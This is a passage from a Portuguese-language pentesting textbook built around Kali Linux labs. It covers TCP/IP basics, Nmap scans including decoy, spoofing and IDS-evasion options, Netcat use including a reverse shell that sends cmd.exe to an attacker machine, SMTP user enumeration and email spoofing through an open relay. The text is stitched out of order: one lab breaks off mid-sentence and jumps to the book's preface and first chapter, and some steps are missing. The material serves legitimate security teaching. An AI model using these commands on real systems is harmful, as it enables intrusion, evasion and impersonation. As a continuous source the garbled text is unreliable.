é</p><p>ajustar o envio do pacote para que este trafegue</p><p>na melhor rota ou caminho.</p><p>2 Enlace</p><p>A camada de enlace tem como função a detecção</p><p>e correção de erros que podem ser encontrados. A</p><p>subcamada MAC pertence a essa camada.</p><p>1 Física</p><p>Camada física propriamente dita. Por exemplo:</p><p>cabos, hardware etc.</p><p>Durante a transmissão de dados, cada camada</p><p>comunica-se com o seu equivalente entre receptor e</p><p>transmissor. Por exemplo, a camada 1 do transmissor</p><p>comunica-se com a camada 1 do receptor, a camada 5</p><p>do transmissor comunica-se com a camada 5 do</p><p>receptor. Para que essa comunicação entre camadas seja</p><p>possível, cada dado é encapsulado dentro da camada</p><p>inferior (por exemplo, a camada 7 é encapsulada dentro</p><p>da camada 6 e assim sucessivamente), e chegando à</p><p>camada física, os dados são repassados até o destino. O</p><p>destino fará o processo inverso, desencapsulando a</p><p>camada física até chegar à camada 7. No momento em</p><p>que chegar à camada 7, o usuário final poderá ler os</p><p>dados que foram transmitidos.</p><p>7.2 Protocolo TCP/IP</p><p>O protocolo TCP é o principal protocolo baseado no</p><p>modelo OSI, e que foi implementado na prática. O</p><p>protocolo TCP apresenta as principais características</p><p>relacionadas à transferência de dados de forma confiável</p><p>– uma conexão confiável é uma conexão que assegura</p><p>que o destino receberá os dados que são enviados pela</p><p>origem. É graças ao TCP que as conexões da internet são</p><p>possíveis.</p><p>A operação de transferência de dados do TCP acontece</p><p>graças a um mecanismo denominado 3-way handshake.</p><p>Esse mecanismo (chamado de aperto de mão) faz com</p><p>que haja troca de mensagens antes de os dados serem</p><p>transmitidos. E é graças a esse mecanismo que os dados</p><p>são transmitidos da origem até o destino de forma</p><p>segura.</p><p>Funcionamento:</p><p>1. A origem (cliente) envia um pacote com a flag SYN</p><p>ativa.</p><p>2. O destino (servidor) responde com um pacote com as</p><p>flags SYN + ACK.</p><p>3. A origem (cliente) responde com um pacote com a</p><p>flag ACK.</p><p>Para finalizar uma conexão, a origem envia um pacote</p><p>com a flag FIN (indicando término da conexão) e o</p><p>destino envia um pacote com a flag ACK (indicando que</p><p>entendeu o pacote FIN).</p><p>Logo após um tempo, o destino envia um pacote FIN e a</p><p>origem envia um ACK.</p><p>O processo de 3-way handshake é mostrado na figura</p><p>7.1.</p><p>Figura 7.1 – Representação visual do 3-way handshake.</p><p>O TCP tem as seguintes características:</p><p>• Conexão orientada – Os dados não são enviados ao</p><p>acaso. É necessário estabelecer uma via segura para</p><p>troca de dados (3-way handshake).</p><p>• Confiável – É um protocolo orientado à conexão (os</p><p>dados chegarão ao destino). Caso um dado se perca</p><p>ou, ainda, chegue fora de ordem, o próprio TCP tem</p><p>mecanismos de ajustes que fazem com que o pacote</p><p>perdido ou desorganizado seja retransmitido e</p><p>reorganizado.</p><p>• Múltiplos canais de transmissão – O TCP utiliza-se</p><p>de meios, como o fullduplex, que permitem transmitir</p><p>dados em paralelo. Então, enquanto a extremidade A</p><p>recebe dados, ao mesmo tempo pode enviar dados</p><p>para a extremidade B (vice-versa).</p><p>• Controle de fluxo – O TCP tem mecanismos que</p><p>controlam o fluxo de dados.</p><p>Diferentemente do modelo OSI, o protocolo TCP tem</p><p>apenas quatro camadas:</p><p>• Rede – Define como os dados devem ser</p><p>transmitidos. Por exemplo: se a rede é sem fio</p><p>(transmissão via radiofrequência), a camada de rede</p><p>fornece recursos para que os dados sejam</p><p>adequadamente transmitidos por esse meio.</p><p>• Internet – Responsável pelo roteamento. Os</p><p>protocolos ARP e ICMP fazem parte dessa camada.</p><p>• Transporte – Responsável por repassar os dados</p><p>para a camada de aplicação. Os protocolos TCP e UDP</p><p>enquadram-se nessa camada.</p><p>• Aplicação – Camada mais alta do TCP. Possibilita que</p><p>os usuários interajam com aplicativos de internet.</p><p>Navegador web, cliente FTP, servidores de email</p><p>(SMTP) são exemplos de aplicativos que atuam na</p><p>camada 7.</p><p>A figura 7.2 representa uma analogia entre o modelo OSI</p><p>e o modelo TCP.</p><p>Figura 7.2 – Modelo OSI e modelo TCP. Fonte:</p><p>http://1.bp.blogspot.com/-7Gjs30JGt1w/Tk6zQzBnpII/AAA</p><p>AAAAAAAY/W6VtClPxm_g/s640/377.png.</p><p>O protocolo TCP é composto dos seguintes campos,</p><p>conforme mostra a figura 7.3.</p><p>Figura 7.3 – Campos do TCP. Fonte:</p><p>http://www.insecure.in/images/TCP-Header.png.</p><p>• Source Port – Porta por onde os dados serão</p><p>enviados.</p><p>• Destination Port – Porta por onde os dados serão</p><p>recebidos.</p><p>• Sequence Number – Número de sequência que</p><p>permite ao protocolo TCP transmitir o pacote de forma</p><p>segura (o pacote é reenviado caso seja perdido) e</p><p>ordenado (o pacote é remontado caso seja enviado</p><p>fora de ordem).</p><p>• Acknowledgment Number – Número do</p><p>reconhecedor, usado para indicar que o pacote</p><p>anterior foi recebido com sucesso.</p><p>• Offset – Tamanho do cabeçalho TCP.</p><p>• Reserved – Ainda não utilizado. É reservado para uso</p><p>futuro.</p><p>• Flags – Flags de controle. Pode ser um dos seguintes</p><p>tipos:</p><p>• CWR – Congestion Window Reduced. Usado pelo</p><p>transmissor indicando que recebeu o ECE, para</p><p>reduzir a quantidade de pacotes enviados.</p><p>• ECE/ECN-Echo – Expliced Congestion Notification</p><p>Echo. Enviado pelo receptor com a flag ACK,</p><p>indicando congestionamento na rede.</p><p>• URG – O pacote é urgente.</p><p>• ACK – Indica que o pacote anterior foi recebido com</p><p>sucesso.</p><p>• PSH – Os dados recebidos até o momento devem</p><p>ser enviados para a aplicação imediatamente.</p><p>• RST – Interrompe forçadamente a conexão.</p><p>• SYN – Sincroniza o número de sequência para</p><p>estabelecer conexão no início da sessão.</p><p>• FIN – Usado para finalizar uma conexão de maneira</p><p>adequada, informando que o transmissor não</p><p>contém mais dados a serem enviados.</p><p>• Window– Especifica o tamanho do buffer do</p><p>receptor.</p><p>• Checksum – Verifica a integridade do pacote TCP.</p><p>Usado para checagem de erros.</p><p>• Urgent Pointer – Indica o ponto de urgência, ou seja,</p><p>a partir de qual endereço a informação é urgente.</p><p>• TCP Options – Opções diversas. Por exemplo, o</p><p>Padding que preenche o TCP Options com zeros para</p><p>que esse campo fique com um tamanho de 32 bits.</p><p>Já o protocolo UDP é apenas um protocolo de envio de</p><p>dados, não se preocupando se os dados chegaram ou</p><p>não (enviar um pacote e não esperar resposta é útil em</p><p>determinadas situações, como em VoIP1). Devido a essa</p><p>simplicidade em comparação ao TCP, o protocolo UDP</p><p>não tem tantas flags de controle.</p><p>O pacote UDP contém os seguintes campos, conforme</p><p>mostra a figura 7.4.</p><p>Figura 7.4 – Campos do UDP</p><p>Fonte: http://www.insecure.in/images/UDP-Header.png.</p><p>Os campos do UDP são análogos aos campos do TCP.</p><p>7.3 Port scanner</p><p>A técnica de scanning ou varredura de portas (port scan)</p><p>é uma das técnicas mais comuns e usadas por atacantes</p><p>para descobrir serviços vulneráveis em um sistema. Com</p><p>a varredura de portas é possível determinar se uma porta</p><p>está sendo ou não usada e, caso esteja, teste-a com o</p><p>intuito de encontrar possíveis vulnerabilidades.</p><p>Existem três tipos de scanning:</p><p>• Scanning de rede – são identificados apenas os</p><p>hosts ativos. Exemplo de scanner: ping.</p><p>• Scanning de porta – são verificadas as portas</p><p>abertas e serviços ativos. Exemplo de scanner: Nmap.</p><p>• Scanning de vulnerabilidades– são detectadas as</p><p>vulnerabilidades existentes no sistema. Exemplo de</p><p>scanner: OpenVAS.</p><p>A resposta do port scanner varia com o tipo de conexão</p><p>(TCP ou UDP). Em conexões TCP, para se descobrir uma</p><p>porta aberta, o port scanner envia uma flag SYN para a</p><p>porta. Caso tenha como resposta as flags SYN+ACK, a</p><p>porta está aberta. Caso receba as flags RST+ACK, a porta</p><p>está fechada.</p><p>Se o port scanner receber a mensagem ICMP PORT</p><p>UNRECHEBLE, a porta está filtrada pela regra REJECT no</p><p>iptables.</p><p>Se o port scanner não receber resposta nenhuma, indica</p><p>uma porta filtrada pela regra DROP no iptables.</p><p>Já em conexões UDP, como o UDP não é um protocolo</p><p>orientado a conexões – o UDP simplesmente envia o</p><p>pacote, pouco importa se o destino recebeu o pacote ou</p><p>não –, o resultado é um pouco diferente do TCP. No UDP,</p><p>para se descobrir uma porta aberta, o port scanner envia</p><p>uma flag SYN para a porta, caso tenha como resposta</p><p>ICMP PORT UNRECHEBLE, indica que a porta está fechada</p><p>ou está sendo aplicada uma regra de REJECT. Ainda se</p><p>tratando do protocolo UDP, caso o port scanner não</p><p>receba resposta, indica que a porta está aberta ou sendo</p><p>filtrada pela regra DROP no iptables.</p><p>7.3.1 Nmap</p><p>Nmap é um port scanner com muitas qualidades, criado</p><p>pelo hacker Fyodor em 1997. Suas principais habilidades</p><p>incluem: descoberta de alvos online, detecção de</p><p>serviços e suas respectivas versões, detecção do sistema</p><p>operacional, determinação de rota etc.</p><p>7.3.1.1 Laboratório com Nmap</p><p>Realize as seguintes configurações no Debian:</p><p>root@debian# service apache2 start</p><p>root@debian# service bind9 start</p><p>root@debian# service ssh start</p><p>root@debian# iptables –A INPUT –p tcp --dport 22 –j DROP ! --sport 666</p><p>root@debian# iptables –A INPUT –p tcp --dport 80 –j REJECT</p><p>Por meio de exemplos práticos, vamos ver como funciona</p><p>as principais opções e varreduras do Nmap:</p><p>1. Varredura simples</p><p>root@kali# nmap 192.168.1.102</p><p>2. Varredura de uma rede inteira. O 0/24 indica que</p><p>serão escaneados todos os hosts da rede</p><p>root@kali# nmap 192.168.1.0/24</p><p>3. Varredura 3-way handshake completa</p><p>root@kali# nmap 192.168.1.102 –sT</p><p>4. Varredura SYN. Diferentemente da varredura 3-way</p><p>handshake completa, na varredura SYN, o 3-way</p><p>handshake não é completo. Na última etapa do aperto</p><p>de mão é enviada uma flag RST finalizando a conexão,</p><p>sendo uma varredura mais sutil do que a varredura 3-</p><p>way handshake completa.</p><p>A figura 7.5 mostra a diferença entre as duas</p><p>varreduras.</p><p>Figura 7.5 – Diferença entre as duas varreduras.</p><p>root@kali# nmap 192.168.1.102 –sS</p><p>5. Varredura SYN em uma porta específica</p><p>root@kali# nmap 192.168.1.102 –sS –p 80</p><p>6. Varredura SYN em uma porta específica (redes</p><p>inteiras). Quando realizamos a varredura de um</p><p>grande número de hosts, uma boa medida é filtrarmos</p><p>o resultado mostrando com a opção --open para</p><p>determinar quais são os hosts que possuem</p><p>determinada porta aberta. Por exemplo, se o leitor</p><p>quiser determinar apenas os hosts que possuem a</p><p>porta 80 aberta na rede, digite</p><p>root@kali# nmap 192.168.1.0/24 –sS –p 80 --open</p><p>As varreduras FIN, XMAS, NULL, Window e ACK são</p><p>utilizadas para determinação de regras de firewall, e não</p><p>detectam as portas abertas, somente se uma porta está</p><p>sendo filtrada por um firewall.</p><p>7. Varredura FIN</p><p>root@kali# nmap 192.168.1.102 –sF</p><p>8. Varredura XMAS (FIN+PSH+URG). Faz com que o</p><p>pacote fique parecendo uma árvore de Natal: todas as</p><p>flags ligadas.</p><p>root@kali# nmap 192.168.1.102 –sX</p><p>9. Varredura TCP NULL. Desabilita as flags do pacote.</p><p>root@kali# nmap 192.168.1.102 –sN</p><p>10. Varredura Window</p><p>root@kali# nmap 192.168.1.102 –sW</p><p>11. Varredura ACK</p><p>root@kali# nmap 192.168.1.102 -sA</p><p>12. Varredura UDP em uma porta específica</p><p>root@kali# nmap 192.168.1.102 –sU –p 53</p><p>13. Varredura com porta de origem</p><p>root@kali# nmap 192.168.1.102 –sS –p 22,80</p><p>root@kali# nmap 192.168.1.102 –sS –p 22,80 –g 666</p><p>14. Ping.Teoricamente realizar uma varredura ping</p><p>utiliza apenas a opção -sn, porém quando se faz</p><p>uma</p><p>varredura na nossa própria rede, mesmo escolhendo a</p><p>opção -sn (substituiu a antiga opção -sP), o nmap</p><p>utiliza-se de outras varreduras (como o envio de ARP</p><p>Request, um pacote ICMP TIMESTAMP e também envia</p><p>pacotes para as portas 80 e 443). Dessa forma, é</p><p>sempre bom refinar a nossa varredura para que seja</p><p>somente enviado o pacote ICMP Echo Request. Para</p><p>isso, vamos usar as opções -PE (especifica claramente</p><p>que o pacote deve ser do tipo ICMP Echo Request) e --</p><p>send-ip (envia pacotes IP crus, ignorando requisições</p><p>de ARP Request).</p><p>root@kali# nmap 192.168.1.1 –sn -PE --send-ip</p><p>15. Ping sweep. Essa técnica consiste em enviar</p><p>pacotes ICMP Echo Request para todos os hosts da</p><p>rede a fim de determinar quais deles estão ativos e</p><p>respondendo com ICMP Echo Reply.</p><p>root@kali# nmap 192.168.1.0/24 –sn</p><p>16. Varredura sem ping. Assume-se que a máquina</p><p>esteja online.</p><p>root@kali# nmap 192.168.1.102 -PN</p><p>17. Varredura com Traceroute</p><p>root@kali# nmap 192.168.1.102 --traceroute</p><p>18. Definindo o nível de agressividade (0-5). Por</p><p>meio da opção -T é definido o nível de agressividade</p><p>do Nmap, podendo variar de 0 até 5 (0 indica pouco</p><p>nível de agressividade, e 5 indica uma varredura</p><p>altamente agressiva). Entenda uma varredura</p><p>agressiva como sendo uma varredura que pouco se</p><p>importa com sistemas de defesa, como firewalls e</p><p>sistema de detecção de intruso (IDS). Varreduras</p><p>agressivas são extremamente rápidas, mas não</p><p>tomam nenhum cuidado e fazem muito “barulho” na</p><p>rede. Varreduras pouco agressivas às vezes são</p><p>extremamente lentas, mas em compensação podem</p><p>ser usadas (em conjunto com outras regras do Nmap)</p><p>para tentar voar mais baixo no radar de IDS e</p><p>firewalls.</p><p>root@kali# nmap 192.168.1.102 –T 4</p><p>19. Varredura em modo agressivo (-A). Essa</p><p>varredura determina detalhes sobre o sistema</p><p>operacional, versão de serviço etc.</p><p>root@kali# nmap 192.168.1.102 –A</p><p>20. Técnica de despiste. A técnica de despiste</p><p>consiste em efetuar scans com endereços IPs de</p><p>origem diferentes. No momento em que for consultado</p><p>o log no servidor, haverá o IP do atacante, mas</p><p>também haverá outros IPs, podendo confundir o</p><p>administrador, pois este ficará em dúvida de qual IP</p><p>ele realmente efetuou o scanning.</p><p>root@kali# nmap 192.168.1.102 –D 6.6.6.6,192.168.1.1</p><p>21. IP Spoofing. Diferentemente da técnica de</p><p>despiste, a técnica de IP Spoofing envia um pacote</p><p>como sendo uma origem falsa e não inclui o IP do</p><p>atacante no momento do scan, porém, por parecer</p><p>mais vantajoso, esse tipo de técnica apenas envia o</p><p>pacote, não recebe nenhum retorno (Para mais</p><p>detalhes sobre a real utilidade do IP SPoofing, consulte</p><p>o capítulo 15,“DoS – Denial of Service”).</p><p>root@kali# nmap 192.168.1.1 –S 6.6.6.6 –e eth0</p><p>22. Varredura FTP Bounce. Explora uma falha em</p><p>servidores FTP mal configurados, que permite (por</p><p>meio do comando PORT no FTP) que requisições</p><p>enviadas ao FTP em determinada porta sejam</p><p>redirecionadas para um host qualquer naquela porta.</p><p>Ou seja, é possível realizar uma varredura de portas</p><p>na máquina ABC originando minhas conexões pelo</p><p>servidor FTP. E, quando o administrador de ABC checar</p><p>os logs, adivinhe qual será o IP que estará registrado</p><p>como atividade de varredura de portas?2. Vamos</p><p>utilizar o nosso servidor Windows (IP 192.168.1.101)</p><p>como o nosso proxy FTP para escanearmos o IP do</p><p>nosso roteador (192.168.1.1).</p><p>root@kali# nmap 192.168.1.1 -Pn -p 80 -b 192.168.1.101</p><p>Lembre-se de ativar a opção –Pn para realizar uma</p><p>varredura sem ping.</p><p>Nota: o escaneamento pela técnica FTP Bounce pode ser bem</p><p>demorado, então faça o escaneamento apenas das principais portas de</p><p>seu alvo.</p><p>23. Envio de pacotes fragmentados. Útil para se</p><p>evadir de IDS – Sistemas de Detecção de Intruso.</p><p>root@kali# nmap 192.168.1.102 -f</p><p>24. Detecção do sistema operacional. Para a</p><p>detecção do sistema operacional, o Nmap envia</p><p>pacotes para o seu alvo, e a resposta é comparada</p><p>com a base de dados do Nmap, determinando a</p><p>versão daquele sistema operacional.</p><p>root@kali# nmap 192.168.1.102 –O</p><p>root@kali# nmap 192.168.1.102 –O --osscan-guess</p><p>25. Detecção de banner. A detecção de banner</p><p>permite saber com mais detalhes qual é a versão</p><p>daquele determinado serviço (versão do Apache, SSH</p><p>etc.).</p><p>root@kali# nmap 192.168.1.102 –sV</p><p>7.4 O canivete suíço Netcat</p><p>Conhecido como o canivete suíço do TCP/IP, o Netcat é</p><p>utilizado para muitas funções para administração de</p><p>redes. Suas funcionalidades incluem desde port scan até</p><p>a criação de backdoors.</p><p>• Para instalar o Netcat no Debian:</p><p>root@debian# apt-get install netcat</p><p>• Para instalar o Netcat no Windows, realize o download</p><p>do binário em</p><p>http://packetstormsecurity.com/files/download/101512/</p><p>rcat.zip</p><p>Dentro do arquivo rcat.zip haverá o rcat (nc</p><p>reprogramado) e o nc original.</p><p>Opções:</p><p>-e</p><p>cmd</p><p>Executa o comando especificado.</p><p>-l Com essa opção, o netcat fica esperando por conexões. Deve ser</p><p>combinado com a opção -p.</p><p>-p</p><p>porta</p><p>Porta a ser usada quando a opção –l for selecionada.</p><p>-s IP Endereço IP de origem.</p><p>-u Habilita o protocolo UDP em vez do TCP.</p><p>-v Modo detalhado.</p><p>-z Utilizado como port scanner.</p><p>7.4.1 Laboratório Netcat</p><p>Para os laboratórios, desabilite o firewall do Windows.</p><p>1. Criar um socket. Um socket é um canal de</p><p>comunicação entre o atacante e a sua vítima. Neste</p><p>primeiro exemplo, o socket é simples.</p><p>root@debian# nc –l –p 12345 –vv</p><p>root@kali# nc 192.168.1.102 12345</p><p>Digite qualquer coisa no Netcat do Kali Linux para a</p><p>mensagem ser ecoada no Netcat do Debian.</p><p>Digite qualquer coisa no Netcat do Debian para a</p><p>mensagem ser ecoada no Netcat do Kali Linux.</p><p>2. Transferir arquivos</p><p>• Máquina que vai receber o arquivo</p><p>root@kali# nc –vv –l –p 123 > recebido</p><p>• Máquina que vai enviar o arquivo</p><p>root@debian# nc 192.168.1.100 123 –vv</p><p>ao</p><p>shell de comandos do Windows.</p><p>root@kali# nc -l -p 123 -vv</p><p>C:\ nc 192.168.1.100 123 -e cmd.exe</p><p>Figura 7.6 – Conexão reversa executada com sucesso.</p><p>7. PortScanner</p><p>root@debian# service ssh start</p><p>root@ debian# service apache2 start</p><p>root@kali# nc –v 192.168.1.102 –z 21-81</p><p>8. Enumeração de banners</p><p>root@kali# nc 192.168.1.102 80</p><p>HEAD / HTTP/1.1</p><p>Pressione Enter</p><p>9. Enumeração de banners (HTTPS)</p><p>O netcat não consegue realizar conexões sobre</p><p>protocolos criptografados, como o HTTPS. Para isso,</p><p>vamos utilizar o cliente openssl.</p><p>root@kali# openssl s_client -quiet -connect www.microsoft.com:443</p><p>HEAD / HTTP/1.1</p><p>Enter</p><p>O Kali Linux também possui uma versão do netcat</p><p>localizada em /usr/share/windows-binaries/nc.exe.</p><p>7.5 Enumeração SMTP</p><p>O protocolo SMTP (Simple Mail Transfer Protocol) é</p><p>responsável pelas mensagens de email. As mensagens</p><p>de email são enviadas via SMTP e posteriormente</p><p>acessadas pelo protocolo POP3 ou IMAP4.</p><p>7.5.1 Laboratório email</p><p>Instale o servidor Postfix no Debian.</p><p>root@debian# apt-get install postfix</p><p>As possíveis configurações para a instalação do Postfix</p><p>são:</p><p>• No configuration – As configurações do Postfix serão</p><p>mantidas.</p><p>• Internet site – As mensagens serão enviadas via SMTP.</p><p>• Internet with smarthost – As mensagens serão</p><p>enviadas via SMTP ou via algum utilitário como o</p><p>Fetchmail.</p><p>• Satellite system – As mensagens de email são</p><p>transmitidas por outra máquina, um smarthost.</p><p>• Local only – Apenas o host local vai enviar e receber</p><p>mensagens.</p><p>Será realizada a instalação “internet site” para que o</p><p>nosso servidor possa receber e enviar mensagens da</p><p>nossa rede.</p><p>Deverá ser configurado o domínio DNS para envio e</p><p>recebimento de emails. Como o nosso servidor DNS é</p><p>kali.com.br, configure-o dentro da opção System mail</p><p>name do Postfix.</p><p>• Faça um backup do arquivo /etc/postfix/main.cf antes</p><p>de realizar qualquer alteração:</p><p>root@debian# cp /etc/postfix/main.cf /etc/postfix/main.cfOLD</p><p>• Altere o arquivo /etc/postfix/main.cf com a seguinte</p><p>configuração:</p><p>mydomain = kali.com.br</p><p>myorigin = $mydomain</p><p>mydestination = $mydomain</p><p>mynetworks_style = subnet</p><p>home_mailbox = Maildir/</p><p>• Instale o servidor e Courier-IMAP:</p><p>root@debian# apt-get install courier-imap</p><p>Caso deseje, instale o Courier-webadmin (utilizado para</p><p>administrar o Courier) – particularmente eu não instalo</p><p>–, selecionando o campo .</p><p>• Instale o servidor e Courier-POP:</p><p>root@debian# apt-get install courier-pop</p><p>Será necessário criar uma pasta Maildir para cada</p><p>usuário do sistema que queira receber e enviar emails.</p><p>Repita o procedimento a seguir para cada usuário.</p><p>--------------------------------------------------------------------------------</p><p>------------------------</p><p>Procedimento para criação de uma pasta de email para</p><p>qualquer usuário</p><p>• Logue no sistema com o usuário que terá uma conta</p><p>de email:</p><p>root@debian# login root</p><p>• Vá ao seu diretório home:</p><p>root@debian# cd $HOME</p><p>• Crie a pasta Maildir:</p><p>root@debian# maildirmake Maildir</p><p>• O dono e o grupo da pasta Maildir deve ser o mesmo</p><p>do seu usuário:</p><p>root@debian# ls -lhad Maildir</p><p>--------------------------------------------------------------------------------</p><p>------------------------</p><p>• Como usuário root, deverão ser realizados os</p><p>procedimentos a seguir para configuração do</p><p>SquirrelMail:</p><p>root@debian# apt-get install squirrelmail</p><p>root@debian# cp /etc/squirrelmail/apache.conf</p><p>/etc/apache2/conf.d/squirrelmail.conf</p><p>root@debian# service postfix restart</p><p>root@debian# service courier-imap restart</p><p>root@debian# service apache2 restart</p><p>• Configure o arquivo /etc/resolv.conf do Debian para</p><p>que este reconheça o seu DNS:</p><p>nameserver 192.168.1.102</p><p>search kali.com.br</p><p>• Verifique se o Debian associa o nome ao servidor DNS</p><p>com Nslookup:</p><p>root@debian# nslookup kali.com.br</p><p>• Com o navegador acesse:</p><p>http://192.168.1.102/squirrelmail</p><p>O usuário e a senha para login do SquirrelMail são os</p><p>usuários e as senhas cadastrados no Debian.</p><p>• Crie um usuário teste no Debian:</p><p>root@debian# adduser teste</p><p>Repita o procedimento para criar uma pasta para que o</p><p>usuário teste receba emails.</p><p>Envie um email para teste@kali.com.br e verifique se o</p><p>sistema de email está ok.</p><p>7.5.2 STMPUser enum</p><p>O protocolo SMTP permite, por meio dos comandos VRFY,</p><p>a verificação de nomes de usuários válidos cadastrados</p><p>no sistema.</p><p>Configure o arquivo /etc/resolv.conf do Kali Linux para</p><p>que o arquivo reconheça o servidor DNS do Debian.</p><p>Verifique por meio do dnsenum se o Kali Linux reconhece</p><p>o servidor DNS.</p><p>Realize a enumeração dos usuários por meio do smtp-</p><p>user-enum:</p><p>root@kali# smtp-user-enum -M VRFY -U /root/Desktop/nomes -t</p><p>kali.com.br</p><p>7.5.3 Como enviar emails falsos (via PHP)</p><p>O protocolo SMTP não exige autenticação e não necessita</p><p>da verificação dos cabeçalhos para saber se o remetente</p><p>da mensagem realmente é quem diz ser. Por causa desse</p><p>tipo de estruturação do pacote SMTP, este permite o</p><p>envio de emails falsos.</p><p>• Inicie o servidor Apache:</p><p>root@debian# service apache2 start</p><p>• Configure o arquivo /etc/resolv.conf do Debian:</p><p>nameserver 192.168.1.102</p><p>search kali.com.br</p><p>• Crie o arquivo /var/www/fakemail.php no Debian com</p><p>o seguinte conteúdo:</p><p>Como apresentado pelo script PHP, não é necessário ter</p><p>autenticação para envio de email do usuário</p><p>fakemail@kali.com.br. O usuário fakemail não faz</p><p>parte do sistema, porém podemos enviar email</p><p>normalmente em seu nome. Isso é valido para</p><p>qualquer outra conta de email. Por exemplo:</p><p>fakemail@kali.com.br, ou root@kali.com.br, ou</p><p>usuario@qualquerdominio.com.</p><p>• Acesse http://192.168.1.102/fakemail.php.</p><p>• Abra o SquirrelMail como usuário teste para ver o</p><p>email recebido, conforme mostra a figura 7.7.</p><p>Figura 7.7– Email falso enviado com sucesso ao usuário</p><p>teste.</p><p>7.5.4 Como enviar emails falsos (via Open</p><p>Relay)</p><p>Servidores que utilizam o serviço de SMTP também são</p><p>vulneráveis a ataques de envio de email falso. No</p><p>passado não era incomum encontrar servidores de email</p><p>que permitiam a sua conexão remota, e, com alguns</p><p>comandos, o atacante conseguia enviar emails falsos em</p><p>nome daquele servidor. Hoje essa tarefa é muito rara em</p><p>servidores com acesso à internet, isso devido a</p><p>mecanismos de segurança e ao bloqueio da porta 25.</p><p>Esse cenário é mais típico em uma rede interna, em que</p><p>algum administrador pode ter se esquecido de desabilitar</p><p>algum servidor SMTP.</p><p>Mesmo sendo raro e difícil de encontrar, caso o leitor</p><p>depare-se com um servidor de email que permite enviar</p><p>emails sem nenhum mecanismo de autenticação (esses</p><p>servidores são chamados de Open Relay), testar esse</p><p>servidor é crucial em um pentest. Isso porque servidores</p><p>Open Relay representam uma falha gravíssima.</p><p>• Conecte-se no servidor SMTP na sua porta de escuta</p><p>(normalmente 25):</p><p>root@kali# nc 192.168.1.102 25</p><p>• Digite os seguintes comandos:</p><p>helo 192.168.1.102</p><p>mail from: open_relay@kali.com.br</p><p>rcpt to: teste@kali.com.br</p><p>data</p><p>From: open_relay@kali.com.br</p><p>To: teste@kali.com.br</p><p>Subject: Email</p><p>Email enviado com successo via Open Relay</p><p>.</p><p>quit</p><p>Observe que não foi exibida nenhuma mensagem de erro</p><p>ou mesmo qualquer mensagem em que não é permitido</p><p>ao usuário enviar emails. Finalize a mensagem com um</p><p>ponto (.).</p><p>A figura 7.8 mostra esse processo.</p><p>Figura 7.8 – Email enviado via Open Relay.</p><p>7.6 Enumeração SNMP</p><p>O protocolo SNMP permite coletar informações dos</p><p>equipamentos. Por exemplo, por meio do SNMP é</p><p>possível saber o consumo de CPU, portas abertas,</p><p>processos ativos etc. Apresenta dois componentes: o</p><p>agente SNMP e o gerente SNMP. O agente SNMP é um</p><p>software cuja função é informar o estado do</p><p>equipamento (uso da CPU, portas abertas etc.). O</p><p>gerente SNMP é um software que vai requisitar as</p><p>informações dos agentes.</p><p>e os meios de comunicação, como última</p><p>preocupação, tinham de ser seguros, robustos e</p><p>indecifráveis. Os meios de transmissão eram simples e</p><p>não necessitavam de protocolos criptográficos de última</p><p>geração. Foi aí que o primeiro erro surgiu: a falta de um</p><p>sistema que garantisse a segurança da informação.</p><p>Obviamente, engenheiros e projetistas não esperavam</p><p>que a ARPANet fosse tomar proporções mundiais. Porém</p><p>ela se expandiu, cresceu e tornou-se o que hoje</p><p>conhecemos como internet. Assim como a ARPANet, a</p><p>internet carregou a maldita herança da insegurança de</p><p>dados e hoje paga por isso.</p><p>O intuito do livro Introdução ao Pentest é capacitar o</p><p>leitor ao entendimento e à realização do pentest – uma</p><p>auditoria minuciosa sobre falhas e vulnerabilidades em</p><p>computadores e redes de computadores, com o objetivo</p><p>de identificar o calcanhar de Aquiles e, assim, buscar a</p><p>melhor forma de corrigir esse problema.</p><p>O avanço tecnológico é tão grande que já existem</p><p>sistemas operacionais especializados na realização do</p><p>pentest, como é o caso do Kali Linux – um sistema</p><p>operacional para auditoria e realização de diversos tipos</p><p>de pentest, tais como redes sem fio (wireless), web,</p><p>bancos de dados, análise e levantamento de</p><p>vulnerabilidades etc. O Kali Linux fornece ferramentas</p><p>avançadas para identificação, detecção e exploração de</p><p>diversas vulnerabilidades.</p><p>Este livro tem como finalidade introduzir o leitor ao</p><p>mundo do pentest (também chamado de teste de</p><p>penetração ou teste de intrusão), conduzindo-o, por meio</p><p>da metodologia Backtrack, ao passo a passo de como</p><p>montar um ambiente simulado para a realização do</p><p>pentest. O livro é dividido em capítulos organizados de</p><p>acordo com essa metodologia, para um melhor</p><p>entendimento de cada etapa de um teste de penetração.</p><p>Espero que o leitor aproveite ao máximo o livro e usufrua</p><p>o conhecimento para o bem, podendo efetuar o processo</p><p>de teste de intrusão em sua rede e na rede de seus</p><p>clientes.</p><p>O verdadeiro hacker é aquele que segue o caminho do</p><p>conhecimento, ensinando, buscando e aprendendo cada</p><p>vez mais sobre aquilo que o instiga.</p><p>Sejam bem-vindos ao novo mundo do hacking ético! Uma</p><p>longa jornada os aguarda, Neo.</p><p>CAPÍTULO 1</p><p>Introdução à segurança da</p><p>informação e ao Kali Linux</p><p>Antes de iniciarmos os estudos sobre pentest e Kali</p><p>Linux, é necessário entendermos conceitos fundamentais</p><p>sobre segurança da informação, para que o leitor tenha</p><p>um aprendizado mais abrangente sobre segurança</p><p>digital, tendo em vista que o pentest é apenas uma</p><p>pequena parte quando o assunto é segurança de dados.</p><p>1.1 Princípios de segurança da</p><p>informação e proteção de dados</p><p>A segurança da informação baseia-se nos seguintes</p><p>princípios:</p><p>• Autenticidade – Define que a informação está sendo</p><p>enviada por uma fonte legítima e segura, e não foi</p><p>interceptada e alterada por atacantes. Um exemplo de</p><p>quebra de autenticidade são ataques MitM (Man-in-</p><p>the-Middle) em que o atacante faz a interceptação e a</p><p>alteração dos dados antes de retransmiti-los ao</p><p>destinatário.</p><p>• Confidencialidade – Define que somente pessoas</p><p>que tenham as permissões corretas devem acessar</p><p>uma determinada informação. Exemplos de quebra de</p><p>confidencialidade: escalonamento de privilégios,</p><p>ataques de quebra de senhas, ataques Man-in-the-</p><p>Middle, uso de cavalos de Troia etc.</p><p>• Disponibilidade – Define que a informação deverá</p><p>estar sempre disponível. Um exemplo de quebra de</p><p>disponibilidade seria um ataque de DoS (Negação de</p><p>Serviço).</p><p>• Integridade – Define que a informação mantenha-se</p><p>íntegra e inalterada. Um exemplo de quebra de</p><p>integridade seria quando um funcionário tenta alterar</p><p>a planilha de pagamentos para receber valores</p><p>superiores aos que recebe.</p><p>• Legalidade – Define se a informação está de acordo</p><p>com a legislação de um país.</p><p>Os princípios da segurança da informação podem ser</p><p>comprometidos com possíveis ameaças, que podem 